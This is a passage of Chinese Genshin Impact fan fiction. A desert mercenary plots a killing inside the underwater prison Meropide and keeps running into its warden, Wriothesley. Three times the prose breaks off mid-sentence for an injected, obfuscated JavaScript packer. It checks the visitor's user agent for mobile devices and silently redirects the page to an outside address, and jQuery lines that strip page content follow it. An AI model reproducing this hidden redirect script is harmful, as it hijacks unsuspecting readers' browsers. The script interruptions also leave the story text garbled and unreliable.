那一点松懈带来的破绽消失了,她忍耐住遗憾所带来的强烈的心情落差,就像什么都没有发生过那样。
工序在手下顺滑地推进,又一颗零件在她手中成型,蒸汽自机器冒出,露斯安垂着眼,在徐徐弥散的白色水雾中,在机器上看到了自己微笑的倒影,就像一张画上去的模糊面具。
她听到零件滚落的清脆声音,她也听到了蒸汽滋滋的声音,同时,在众多机械井井有条的工作声里,她捕捉到了预期中的异响。
——还有一个零件。
一切都如同预期般顺利,时间与地点分毫不差,理应是万全的计划,然而露斯安的心却高高地悬在空中,现实中那毫无预期的变数正站在她的身侧——
“——”
在谈话的间隙,公爵忽然顿了一下。
露斯安的心缩成一团,他周遭的氛围因为这个停顿而发出了微小的变化,然后他偏头向某个方向看了一眼。
水光悠远而清透,倏忽变幻的光纹自头顶倾泻而下,他耳垂上黑色的耳钉迎上氤氲摇曳的水波,在她眼前裂开一串冷冷的光。
公爵那绵长稳定的呼吸滞住了。
露斯安的心脏因此而停摆。
——这个男人——
就像是为了响应这一刻紧绷的空气,一直以来都顺利运转的机器在手下骤然冒出警示的红光!
露斯安猛地踩上去,机器重新开始运转,代表顺利推进的蓝光再次亮了起来,这点小小的操作似乎没有任何影响,而她余光里的典狱长已经转向、曲腿——
露斯安的思维拉响尖锐的警报声。
变故只是一瞬间的事。
那一秒需要切割成无数个部分才能让人理清状况——
机器吞噬血肉的声音。
人类惊恐的尖叫。
看守的抽气声,犯人们的喧哗声,还有不应存在于这个封闭的水下的、风的呼啸声——
对于露斯安而言,那一瞬间周遭的一切都浓缩成了无用的黑白纸片,只有身边的典狱长在空茫的世界里流动着鲜活的色彩,他的身影像一道黑红夹杂的闪电一样自她身前疾驰而过,带起的风压像刀锋一样狂乱地切过空气!
他的反应是如此迅速,以至于原地还残留着他的体温和剪影,而他本人已经出现在了生产区的另一侧,一只手揪住被机器缠住的犯人后撤,另一只手上覆着一层白色的冰霜,精准地命中正在噬人的机器!
强横的气流裹挟着凛冽的寒风以他为中心骤然向外爆开!
白霜以肉眼可见的速度蔓延至整个机器,而后几乎是一息之间就生成了足以冻结一切的冰层,违反季节、天候与物理的常识,在水光与灯光之中徒然暴涨的淡蓝色光晕直冲穹顶,伴随着四溢的寒气,数人高的冰晶眨眼间拔地而起,将正在暴走的机器整个封在里面!
自他手下迸发出的能量是如此强劲,生产区所有的机器都因为这样突如其来的降温而哑火,他身后厚重的大衣在暴动的气流里猎猎飞扬,大衣的黑色毛领上垂下两指宽的金属链条,链条的顶端是一颗冰属性的神之眼,因为主人的驱动,在黄澄澄的灯光里散发出冬雪一样冷冷的光晕。
短暂的,能将一切都吞噬的沉寂,而后,那些所有的——声音,气流,温度,迟两秒才终于在同一时间爆发出来,过于庞杂的信息流让生产区产生尖锐的爆鸣,露斯安纯白的鬓发在气流里凌乱地拍在脸上,身上繁杂的金饰链条像映客的风铃一样撞击出一连串混乱的金属音。
糟透了。
即使不用看,她已经知道了行动的结果。
——从这个典狱长出现的那一刻,这场暗杀已经失败了。
那一瞬间发生了太多的事,过了很久人群才终于有了反应,有人想逃跑,有人在围观,有人还呆在那像是被吓傻了,在乱作一团的现场里,公爵镇定的声音越过那些嘈杂背景,像一柄分开迷雾的锐利兵刃,有条不紊地下达指令:
“考尔德,带人疏散人群、盘点现场人数;格莱,去叫后勤的人来排查机器;菲尔勒,去叫护士长来,快!”
生产区被笼罩在薄凉氤氲的雾气里。
穹顶有潋滟的青碧色水光投下来,带着浅淡的金色光纹,让那座封着机器的冰晶反射出万千摇动的光华,淡青、淡蓝与淡金混合在一起,伴随着徐徐弥散的白雾,让这个冷硬的水下堡垒呈现出了异世幻境一般不真切的缥缈美感来。
很多人都在张望这场突如其来、不明所以的变故。
露斯安终于有机会,跟所有人一起抬头,确认自己早就知道了的失败结局,一睹这位公爵完整的背影。
一如她的预料,他保护了差点被机器吞噬的犯人,让她所有的行为功亏一篑。
透过摇曳的雾气,透过明灭的水波,透过梅洛彼得堡黄色的灯光,她第一眼看到的是他后肩的位置寒光流转的冰色神之眼,挂在黑色的毛领上,安静地、强势地、向所有人宣告,这是个被神明所注视的幸运儿。
果然是个高大的男人,黑毛领的深色大衣披在身后,掩盖住他属于战士的结实身躯。她只能透过毛领看到他脑后的黑发,夹杂着几缕灰色的黑发不羁地翘着,乍看之下像一对机敏的狼耳。
他身上佩戴着诸多金属的饰物:神之眼下垂着两指宽的尖锐金属链,另外有长长的如骨节一般的金属链从大衣的后腰坠下来,像是从他脊椎末端延伸出一段尖锐的尾骨。
这是一个上位者,他只需要站在那,便天然地散发着气势,哪怕他静默不言。
这很糟糕。
露斯安在心里想。
她最想避免的那个选项成为了现实,那些众口相传的流言并不是危言耸听。
水下堡垒的话事人,神秘莫测的典狱长,“公爵”莱欧斯利——
看着就是一块非常、非常难啃的骨头。
…………
…………
生产区因为这个小小的意外而暂时停工。
被寒冰封锁的机器就伫立在那里,由众多看守护卫着避免犯人接近。
透过层层的冰霜,能隐约看到机器外壁上凝固的艳红,鲜明地昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096944|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
示着刚才的事故是如何险恶。
但事实上,因为公爵的及时出手,被机器卷进去的犯人并没有伤及根本,只是被削去了部分指尖的血肉,还有几片手指的指甲,而这样严重的伤口,对于梅洛彼得堡的护士长而言恐怕和普通的割伤没有区别。
护士长希格雯,是个水系神之眼的持有者。
她身量不高,走起路来是小小的一团,看起来只是个尚未成年的孩子,但显然没人能因此而小看她——从她淡蓝色的发丝里生出兔子一样长长的耳朵,身后有一条卷成一团的毛茸茸的尾巴,这点特征一眼看上去就不是人类,在提瓦特这个长生种比狗都多的世界里,她的年龄搞不好能成为你的姐姐/母亲/奶奶甚至祖宗。
对于拥有神之眼的人而言,能用元素力解决的问题都不是问题,而这位护士长恰好就拥有稀有的治愈系能力,可以驱动元素力加速表皮的伤口愈合,这位不幸的犯人显然十分幸运,只要护养得当,那就不会有任何后遗症留下。
真是让人遗憾的结果,露斯安在心里重重地“啧”了一声。
如果典狱长今天不在,那这个犯人绝对活不过今天的“意外”。
水下世界的娱乐项目到底还是匮乏的,在这座缺少活力的钢铁堡垒里,犯人只能靠自己想办法填充无所事事的空余时间,所以这件事很快就成为了茶余饭后的最热话题。
有人说这是个意外,有人说这是个阴谋,也有人说,公爵肯定已经查明了真相,当然也有人质疑,说公爵根本不可能这么万能。
露斯安笑着吃掉今天份的末等奖,耳边灌满了犯人们的讨论,心底不可避免地生出了些焦躁。
公爵回到了他的堡垒,成为了她道路上最大的阻碍,她是不是能绕过他的存在达成目的?
他已经从刚才的“意外”里保下了那个犯人,那她接下来的行动是不是也会被他破坏?或者说,她是不是需要采取一些更激进的手段,比如首先除掉这位公爵大人——那么,她能否成功割断这位战士的喉咙?
如果她的能力不足以对他造成伤害、如果她不能瞒过他的眼睛进行狩猎,那么,一旦失手被捕,这座堡垒到底赋予了他怎样的权力?
既然梅洛彼得堡号称是独立于枫丹行政体系的自治区,那公爵对这里的犯人是否拥有绝对的处置权,就像主母绝对凌驾于部族的众人?
违反梅洛彼得堡的规则到底要面对什么结果,是严苛的刑罚,又或是无止境的加刑?
公爵现在注意到的只有她的行为吗?在她还未到达梅洛彼得堡的那几天里,没有受过任何训练的老师究竟有没有被他注意过?
她没有时间来小心翼翼地验证这些疑惑了。
6068的刑期只剩下四天,显然,她已经没有余地再去制造另一场意外。或许她需要在这件事上铤而走险,而作为一个曾受过专业训练的“猎鹰”,她并不缺少直接将猎物斩杀的手段。
…………
…………
无论白日经历了怎样的变故,夜晚来临的时候,梅洛彼得堡依然会归于沉寂。
即使是寂静的夜里,这座水下堡垒的暖黄色灯光也从不熄灭,只是犯人们已经按照规定回到了各自的宿舍,只有看守们还在各自的岗位上坚持巡逻。
露斯安无声地缩在特许食堂的员工窗口里。
这是个无人注意的角落,能很好地隐藏身形,同时又拥有良好的视野,可以用来观察到所有看守们的行动轨迹。
她知道该在什么时候走出去,她在脑海里计算出了自己需要的路线,她正在等待看守松懈的时机,就在她即将行动的时候,心脏没有预兆地狂跳起来。
一种被窥视的危机感击中了神经。
那感觉是如此清晰,背脊的肌肉因为紧张而抽搐,就仿佛身后不是梅洛彼得堡的灯光,而是向她倾塌的无边黑暗。
露斯安回过头。
有人站在特许食堂的侧边。
柱子打下的阴影并不浓重,只是稀薄地在他身上一盖,模糊了他表情的细节,让他胸口银闪闪的狼头驳头链反射出格外冷冽的光。
那条驳头链并不是枫丹人身上常见的、精致小巧的装饰款,它沉重、粗犷、边缘锐利,看起来更像是能禁锢犯人的锁链,点缀其上的狼头浮雕镶嵌着一弯荧蓝的宝石,这些异于寻常的地方都让人相信,它比起单纯的装饰品其实承载着其它更具体的含义——比如,地位的象征。
没有声音,没有体温,没有气息,没人知道这个身份贵重的男人是什么时候出现在那里的,他身上分明有诸多啰嗦的金属饰品,然而,无论是身前的驳头链、身侧的银手铐、又或是衣后的装饰链都没有发出任何声音,身材高大的男人像一道天然存在于梅洛彼得堡的影子,于暗处睁着蓝灰色的眼睛,无声地注视着自投罗网的猎物。
“晚上好,沙漠来的女士。”
蓝眼睛的公爵对她笑了笑,声音醇和,同白日一样懒洋洋的,尾音愉快地向上打个弯,“现在可不是个闲逛的好时间,嗯?”
7. 第 7 章
露斯安没有说话。
因为一些极其客观的原因,加速的心跳抽走了所有血液,她在潮湿的空气里由于干渴而失声。
——尽管他看起来并不像是想要问罪的样子。
“我猜你没读过梅洛彼得堡的管理条例,所以不知道特许食堂已经打烊了?”
并没有刻意等待她的回答,公爵抬脚跨出了那片阴影。
暗色自他身上褪去,暖黄的灯光带着分明的线条一寸寸漫过他的身体,从满是金属扣的锃亮军靴,从紧实有力的大腿,从紧致的腰线,从饱满健壮的胸膛,从敞开的衣领……这一次,他身上的诸多金属“咯啦啦”地响了起来,在这样的情景下听着格外刺耳。
他终于全然站到了灯光里。
灯光像黄昏的尾巴,随意涂抹在他身上,抹过他英挺的鼻梁,在漆黑的耳钉上裂开,最后落在那双蓝眼睛里,浓缩成刀锋一样银亮的细线。
在这个夜深人静的夜晚,露斯安终于正面见到了传说中的公爵,而这显然并不是个适合邂逅的时机,他存在本身即是一种威胁,那和善的目光只让她觉得如芒刺背。
危机感像高悬的刀锋一样挂在头顶,随时会落下来将她切成两半。
——即使他看起来很绅士。
这个男人穿着一身考究的枫丹正装,黑衬衫,灰马甲,红领带,胸前别着狼头的驳头链,身后披着厚实的毛领外套,垂感极好的面料看起来价格不菲,但那显然并不代表他是个多正经的绅士——
——正经绅士可不会练出那一身撑满衬衫的肌肉,也不会让衬衫的领口一路开到胸前成为深V、露出大片的伤疤和锁骨,更别提他除了耳垂外还在耳骨上打着亮闪闪的银色耳钉。
这是个战士,他身上的种种特征都在强调这一点,而那一身笔挺的西装只能说是掩饰野性的一层外皮,哪怕他眉眼含笑,她也觉得有滚烫的攻击性扑面而来,跨越光影的交界扼住她的喉咙。
“那么,这么晚了,你在这里做什么呢?”
他站在光里,抱着胳膊,垂眼看过来。
露斯安还半蹲在特许食堂的阴影里,手指紧紧扣着腰后的佩刀。
在对视的时候,她产生了光暗颠倒的错觉,仿佛有什么东西蛰伏于黑暗,窸窸窣窣地啃食她的脊骨。
“S9695号?”
他挑眉等着她的回答,她在他眼下看到一弯很长的疤。
露斯安张了张发干的嘴。
“我知道打烊了。”
她说,回答了他最初的问题,然后她顿了一会儿。
“我不记得自己的编号。”
最后她这样试探着补充。
“那不奇怪,毕竟只是个临时的编号,如果没有意外,你并不需要背负它在这个水下长期生活。呵……”
他低低笑了两声,态度随和得不像是在面对违法的犯人,哪怕她这样当面承认自己是在明目张胆地违反规则,“看来是个诚实的女士,我欣赏你的直言不讳。所以,你在晚上不惜违规也要闲逛到特许食堂的理由是什么?”
……在动。
因为领口敞得很大,所以能清晰地看到他长而结实的脖颈,多绕的黑绑带像项圈似的缠在脖子上,三道醒目的伤疤自他棱角分明的下颚线条一路向下,其中一条劈开喉结,贯穿锁骨的正中向更下方蔓延,一直藏到衬衫里去。
他吐出的每一个单词都会带动着伤疤的起伏,无限地吸引着她的注意力——那里是人体要害,伤疤下就是脆弱的气管,那就像是一种明晃晃的勾引,让她忍不住想要伸手出去。
如果现在动手……不,不行。
露斯安抿一下嘴,但并没有唾液能滋润自己发干的双唇。
她抽紧下颚的线条,发出了干涩的声音。
“——那你要惩罚我吗?”
“惩罚?”公爵挑一下眉毛,不辩情绪的眼神在她身上转了一圈,“好问题,那恐怕要取决于你的回答。”
他从光里俯视着她,漆黑的瞳孔被灯光渡上一层浅浅的光晕。
她不确定他的和蔼是不是一种陷阱。
一个在深夜带着武器、避开看守的巡逻、蜷缩于阴影的佣兵会做什么,他是真的没有猜测吗?
但那不是追责的态度,他身上确实没有怒意,只有高位者独有的情绪莫测,显然他并不是来兴师问罪的——她虽然未必能猜到这些上位者的想法,但她拥有足够的经验从那种情绪中读出自己该做什么。
至少,他目前还没有把下午的“意外”和她联系在一起,露斯安自认自己不会看错这点。
“我饿了。”
露斯安说,她松开了握紧武器的手,从紧绷的、随时能跳起来的半蹲姿势松懈下来,然后慢慢地站起来,让唇线抿出一个小小的弧度,“你们的概率有问题,我没抽到过任何一顿正经饭。”
“噢——”
公爵的声音拖得很长,让人听不出他是信了,又或是没信。
他就那么盯着她看了一会儿,忽然笑起来,“哈哈,所以你就是那位传说中连续六天抽中了末等奖的女士。”
“……”
那笑容并不包含攻击性,似乎只是纯粹地被她的怀运气娱乐到了,露斯安摸不透他此刻的心情,于是她保守地选择了沉默。
“呵……”末了,就像是笑够了,他问她,“带特许券了吗?”
露斯安不明所以地点头,然后她就看到他向她伸出了手——左手,手背上套着和胸前驳金链同款的狼头铁饰,固定的链条和指根的银指环一样在灯下闪闪发亮。
要是被这样的拳头正面击中,以他身躯的矫健程度来判断,让人当场颅骨碎裂也不是难事。
但他并没有攻击她。
那只结实的手臂就只是这么随意地伸出来,伸向她的方向,掌心向上,露出了带着茧的指腹,做出了索要的姿态。
“拿来吧。”他说。
“——”
露斯安微微张嘴,然后又紧紧闭上。
她还蜷缩在食堂的窗口里,而他站在和窗口有一些距离的灯光里。
那并不是她伸手就能简单触及的距离,而他也丝毫没有靠近的意思,公爵就那么站在那里看着她,姿态放松,眉眼含笑,一副很好说话的做派,但她从里面读出了不容拒绝的暗示。
——他让她从这里出去,主动。
那接下来她会遭遇什么呢?是追责、问罪,又或者说是严苛的刑讯?
他只是需要她上交一些特许券就可以,还是等待着她自投罗网的瞬间将她就地逮捕?
无数念头在脑海里盘旋,露斯安迟了数秒,才向前走了两步,翻出食堂的窗口,轻巧地落进光里。
她没让自己发出任何声音,无论是长长的耳坠,手腕上层叠的金镯,额前的发饰,或是裹胸和臂钏上垂下来的繁复金链……那些所有应该发声的部件都安静得不可思议,完全展现了她作为佣兵的优秀素质。
她向他走过去,而他从容地等着她的靠近,这种主动走向危险的体感并不美妙,她知道有巨大的野兽在身后张嘴,而她必须毫不反抗地将后颈置于野兽的獠牙之下。
在这个过程里,公爵显然在打量她。
那眼神毫不掩饰,而且带有明确的目的性,扫过她绑着匕首的腿,扫过胸前充当斗篷的、半遮半掩垂下来的防沙围巾,扫过她身上的战术绑带和繁复累赘的各种金饰金链,当然也扫过了她光裸的腰腹,并且明显地做出了停顿,最后那目光停留在了她的脸上。
他就这样不辩情绪地、目的明确地,盯住了她的脸。
她知道他在看什么,儿时狩猎不慎造成的伤疤贯穿左眼上下,这在沙漠里是值得炫耀的勋章,或许他在猜测这条伤疤的由来,也或许他在衡量她作为犯人的危险性。
视线并不能对她造成伤害,露斯安忍住了挡住眼睛的冲动,在他三步开外的地方站定,同他伸出来的手臂保持一段微妙的距离。
他很高,手掌也格外宽大,手指长而有力,并不粗犷,但充满了力量感,配合着肌肉紧实的小臂,在灯光下散发着强烈的威胁感,只需单手就能圈住一个成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096945|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年人的脖子。
同他正面硬碰显然并不明智,若是被这样的手扼住了身体的关节,比如喉咙——
露斯安收紧后背的肌肉,沉默地将一叠特许券放在他的掌心。
“优秀的战士。”他捏住特许券,垂眼看着她,毫不吝啬夸奖,“冒险家?”
露斯安摇头:“佣兵而已。”
他笑了笑:“啊哈,那希望我的仇家不会花钱雇佣你这位‘而已’。”
“——”
他是什么意思?这句话是否包含了什么深意、有没有其他指向?他只是随口一说,还是看出了她怀揣的杀意?
而他并没有解释,也没有留给她思考的时间,他甚至没有将手收回去,只是从鼻子里哼出一个笑的音节,蓝眼睛一瞬不瞬地看着她:“还有吗?”
有什么?特许券?
露斯安不明所以地又掏了一叠,而这次他连眉毛都没动一下,依然保持着那个姿态,问她“还有吗”。
这个过程重复了整整七次,他就那么摊着手,饶有兴味地看着她从兼顾披肩的防沙围巾下掏出一叠又一叠的特许券来,直到她掏无可掏,只能两手空空地看着他。
“哈啊~真是位能干的女士,”
他抖了抖手里的厚厚一摞特许券,像是在掂量它们的分量,然后他又恢复了双手抱胸的姿势,笑着看向她:
“要是你在水下多呆一些时候,超越我也是指日可待。”
“……”
这话是什么意思?“公爵”是可以被超越的?资产?或是地位?
这只是一个无伤大雅的玩笑,还是别有用心的暗示?
露斯安无法解读。
这些上位者似乎都有一套独特的语言系统,能让每一句话听起来都像是带着重重暗示,曾经的主母是这样,如今的他也是这样,而她并不擅长解读这个。
所以她选择闭嘴,只露出一个乖巧的微笑。
“所以,”他像是不带任何深意地笑着问她,“你为什么不用这些特许券买点东西充饥?”
这一次,露斯安沉默了更长的时间。
“……因为我抠门?”她顿了顿,看到公爵的表情,从里面找到了自信,理直气壮地问他,“我不可以抠门吗?”
“……”
长袖善舞的典狱长第一次在谈话中沉默了,他带着奇妙的眼神上下打量她一阵,就好像是才刚刚看到她似的,然后从喉咙里猛然爆发出一阵笑声!
露斯安惊讶地看着他,远处的看守也惊讶地看过来。
“哈哈哈哈哈!……可以,当然可以,但人总要为自己的行为负责,而你显然要付出一些代价,你本来能用这些特许券享受到更好的服务,而现在——”
他对她显示了一下特许券的厚度,然后耸耸肩,向食堂的内部伸出了手。
然后她看到他从储物的位置掏了两个泡泡橘给她看。
“——你恐怕只能得到这些。”
露斯安一直到泡泡橘落进手里的时候都没反应过来。
她犹豫了一下:“……那上面好像有纸条。”
事实上她想说的是,韦尔赛好像特别留言写了不可以动这个,她觉得他应该看到了。
“没错,韦尔赛先生显然要拿它来进行一些创新,但考虑到梅洛彼得堡人的精神健康,我倾向于创造一些条件让他可以不用创新。”
露斯安:“……”
他好幽默啊。
如果不是时机和立场不对,她一定会捧场地笑出来——事实上她也确实笑了,但那笑容并没来得及展开就凝固在中途,因为她看到这位典狱长侧过身,对她偏一下头,示意道:“走吧。”
露斯安的呼吸吊在那里。
她想,或许接下来才是他的目的,他显然并不信任她的言辞,他当然也不缺乏刑讯的手段,她在一瞬间思考了无数种自己可能遭遇的下场,而对方只是这么侧着身,就像是等待什么似的站了片刻。
露斯安看着他,他也看着露斯安,场面一时间安静得让人摸不到头脑。
8. 第 8 章
她在等待他的宣判,但半晌之后,只等来了他不解的声音:“希望你不要告诉我你不记得自己的宿舍,现在在等我为你带路吧?”
那你可就有点太高看我的记忆力了——这位典狱长一脸为难地摊手。
“……哎?”
宿舍是指——去宿舍?送她回去?就只是这么简单而已吗?
似乎确实是的。
露斯安走在前面,公爵就在她身侧稍后的地方,他的脚步慢悠悠地踩着她前进的足迹,尽管并没有杀意,但她还是产生了自己正在被追猎的错觉。
或许是因为他太过高大……她有169公分,而她怀疑他在190公分以上,那高大的身躯天然带着强烈的压迫感,即使隔着一拳的距离,辐射过来的体温也足以让她裸露在外的皮肤泛起一层战栗。
巨大的威胁就走在身侧,这让她的防御系统严重应激,肉|体本能地想要反抗,但理智告诉她不应该行动,这种拉扯让她半边身子都紧张得发麻。
露斯安的手指抽动数次,终于还是没有按到武器上,她只是捏紧了手里的泡泡橘,沉默地扯高了围巾,让发丝和布料完全掩盖住颈项的血管,减少自己暴露在他眼下的要害——尽管这没什么意义。
相较于她的紧绷,身边的公爵显得非常闲适,他身上的金属咯拉咯拉地响,甚至还有余裕同她闲话家常——
“多大了?”
露斯安毫无负担地让假话脱口而出:“23。”
“好年龄。”他颔首,“下午的时候吓到了吗?”
露斯安的心重重一跳,她不确定这是不是什么试探,也不知道普通人该如何回答这个问题,不过好在她没已经没有必要在现在伪装自己,所以她诚实地摇头:“没有。”
一个脸上身上有疤,能随意避开守卫,而且是职业佣兵的沙漠人,会被那样的事故吓到才是不可能的。
“呵……不愧是佣兵。”
他不疑有他——至少表面上是这样,依然和蔼而善谈,“我虽然见过一些须弥人,但大多是教令院的学者,张嘴是课题,闭嘴是论文,人生就是做不完的科研和和永远拿不到手的学位证,时间久了,我都快忘了沙漠也是须弥的一部分了。你来自须弥的哪里?列柱沙原?千壑沙地?”
以防万一,露斯安并没有提及自己曾经的部落,当然也没有提及阿如村,她挑选了一个比较偏僻的地方:“茶诃落谷。”
“啊啊,是上风蚀地……我倒是没听过那里有什么村庄,看来是地图不会标注的地方。”
出乎她的意料,对方只是略一思索,就准确报出了一般须弥人都未必能立刻想起来的地域,甚至对须弥地理如数家珍,“从那到枫丹可有好一段距离,我没记错的话,要么穿过包括千壑沙地的三个沙漠大区走拜达港,要么从喀万驿穿越雨林走璃月沉玉谷的商路,但不管哪一条都少不了要横渡海域——怎么会想要到枫丹来的?”
她当然不可能说自己是来杀人的。
“就是想看看。”露斯安斟酌着表示,“我听人说,读万卷书,也要行万里路才好,而我刚好天生闲不住。”
“璃月的古训,有趣。”他笑起来,“读过书的沙漠人可不太常见。”
他怎么连这种事都知道?
虽说教令院从不隐藏他们对沙漠人的态度,但他作为一个深居海底的枫丹典狱长,知道得是不是有些太多了?是在教令院读过书吗?
“我没读过什么书。”露斯安说,“只是去过璃月。”
“啊,看来你确实去过很多地方,很遗憾我现在手边没有茶,不能坐下来听你说故事。”
谈话间两个人已经走到了舍监区的范围,宿舍就在眼前,露斯安放慢了步伐,而公爵在她身后停下,两个人拉开了一段距离。
身边骤然失去的体温让露斯安惊讶地回头,她看到典狱长站在承重柱的影子里,阴影盖住他大半身体,只有长靴上的金属扣在灯光里闪闪发亮。
露斯安捏着手里的泡泡橘,茫然地看着他:“我……可以回去了吗?”
“嗯?不然呢?你在期待什么?”
他好笑地看着她,一手叉腰,被撑开的大衣能清晰地看到有力的腰线,手铐就挂在他的手掌下方,随着他的动作发出咯啦啦的脆响:
“皮鞭,镣铐,刑讯室?你要是那么期待的话,我也不是不可以满足你。”
“我没——”
“呵……别紧张,开个玩笑而已。”他低低笑起来,“你有什么问题?”
“……你说我违反了规则。”
“啊哈,对,你非常不走运,遇上了我在值勤,所以你免费吃一顿的计划破产了,而这个,”
他抖了抖手里那一叠厚厚的特许券,“作为代价交给了我,从明天起你需要从零开始重新工作。”
他上下打量着她,“怎么你很期待被惩罚?”
露斯安飞快地摇头。
“你很适合这个水下,沙漠来的女士。”
他没有继续追究,而是话题一转,轻描淡写地道,“但是给看守添麻烦并不是什么明智的选择,下次准备大展拳脚的时候,记得别被人撞见。”
“……?”
他是不是在鼓动她违规?
露斯安不理解他的态度,公爵依然在对她微笑,但或许是因为阴影的衬托,她终于发现那张脸其实生得很严肃——五官深邃,眉毛浓黑,眼型狭长,右眼下有一弯长长的疤,英俊得甚至带着些锐利的攻击性,只是他上扬的嘴角、眼角眉梢流淌的笑意、还有说话时漫不经心的语气都削弱了这种攻击性,让这个位高权重的管理者透出一些散漫的痞气来。
而他并没有对自己的话做什么解释,梅洛彼得堡的管理者轻笑着转过身:“祝你的监狱之行能有个愉快的收尾,女士。”
他转身离开了。
露斯安难以置信地看着他的背影,那件毛领的大衣在他身后起伏,从发尾与衣领之间,后颈的肌肤随着他的动作若隐若现。
——他就这样把空门留给了她。
露斯安紧紧地抿住嘴,她看着他渐行渐远,最后身影消失在茫茫的灯光里,只剩下微弱的脚步声,跨越钢铁构筑的空间,有一下没一下地扣在她耳膜上。
他好像……和她想得不太一样。
他确实是个开明的老爷,或许读过很多书,也见过很多人,所以才能对沙漠形成那样立体的认知,也并不苛责一个人的过错。
只可惜她不能因为他的开明而停手。
甚至说,如果得到机会,她也会割断他的喉咙。
而这个机会比想象中来得更快。
…………
…………
露斯安一大早就听说,拳力斗技场要开赛了。
规则是无限制,纯粹的□□搏斗,禁用武器和神之眼,在擂台上站到最后的就是赢家。报名也很简单,只要填表就行,同时附带一张生死状。
很难说这个生死状的作用,它和露斯安知道的那种显然不太一样,因为梅洛彼得堡的拳力斗技,按照规定,伤人与杀人都是要加刑的。
露斯安感到疑惑:“既然擂台上杀人会判刑,那这个生死状是拿来干什么的?”
“啊……呃,”负责报名的工作人员想了想,“它能让你判得短一点。”
露斯安:“……”
她就不应该去思考枫丹人脑子到底里装的是什么,那太为难她这个十六岁的妙龄沙漠人了。
如果换个时候,她或许会对竞技本身产生兴趣,但现在她有更要紧的事要处理。
因为昨天的意外,生产区暂时封锁,官方给出的调查结果是犯人的操作不当,同时为了防止其他意外发生,机器正在经由专业人员排查检修,预计三天,也就是说,全体犯人可以在不缴纳特许券的情况下获得三天假期。
这个理由显然能说服大多数人,毕竟免费的假期不要白不要,但露斯安觉得这个处理糟糕透了——三天,刚好涵盖了目标的最后刑期。
昨天连续的行动失利已经足够糟糕,如今生产区的封锁更是雪上加霜,目标显然不会再沿着一贯的轨迹行动,这种变故对狩猎而言是致命的。
露斯安已经去过了医务室,但里面只有护士长和被女伴揍进医务室的男人,目标早就不知所踪。
她并没有试图从希格雯护士长嘴里套取什么情报——虽然没有明确的证据,但是作为梅洛彼得堡的工作人员,护士长有很大可能是公爵麾下,多余的问询只会打草惊蛇。
天晓得这三天目标会闲逛到哪里,在人堆里找人这件事本身就困难重重,更棘手的是那个公爵太过敏锐,她甚至怀疑这个不长不短的检修期是他在怀疑什么才做出的决策。
留给她的时间不多了,她必须尽快思考出接下来的对策。
最坏的结果,她不需要任何伪装,直接将目标暗杀在宿舍里。虽然这会暴露有人在监狱里杀人的事实,但只要他们短时间内调查不到她头上,那么她就可以正常出狱,回到须弥,又或者远走璃月或者蒙德,她不认为枫丹会花大力气跨国追捕。
再退一步,哪怕她真的被查出来,只要老师能正常出狱,她在水下多待上一些年头也无所谓,尽管她尽可能地想要避免这种会让老师产生道德压力的局面。
综上所述,她对这次的拳力斗技场的开赛没有任何兴趣,虽然她经由昨晚身无分文,但她又见到了入狱那一天的领路人,他是个十分亲切的枫丹人,哭着想要送给她一些特许券,露斯安当然不会白白占他便宜,她把水下难得的新鲜泡泡橘送给他作为回馈,这场感人肺腑的交易成果能支撑着她度过至少三天。
——她原本是这样想的,直到她听到了公爵的名字。
露斯安一整天都没找到猎物的影子,她已经开始盘算着晚上铤而走险,在路过管理区的时候,隔着甬道与地板,隐约听到了某处传来排山倒海的欢呼声,经过漫长的距离,削弱成零散的音节,隐隐拼凑成“公爵”的发音。
露斯安猛地扭头,从声音传来的方向,她看到了圆形开口的走廊,入口上方巨大的拳击标志无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096946|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比醒目——那是拳力斗技场所在的方向。
也就是说,那个公爵正在参赛。
有什么在心底冒了个泡,她无意识地向着喧嚣的人声迈了一步,然后思维才在脑海中成型——这意味着一个名正言顺的交手的机会,也意味着一个名正言顺的“失手”的机会。
露斯安走进了通道。
赛场的氛围一定足够热烈,所以连这一处走廊的温度都比别的地方更高,零散的喝彩声此起彼伏,一向阴郁的水下似乎也因此滋生出了蓬勃的生命力。
一个小时前吃掉的晚饭似乎还没来得及消化,她口腔里还残留着点肋排的焦香——那当然不是她转运抽到了上上签,只是她照常拿着末等奖去食堂窗口的时候,韦尔赛师傅告诉她,公爵建议他加个保底。
这位公爵老爷确实是难得的好人。
露斯安抿嘴,按下了通向下方的指示灯,她在升降梯的操作板上看到了自己的倒影,上扬的嘴角像是刻刀在面具上雕出来的裂纹。
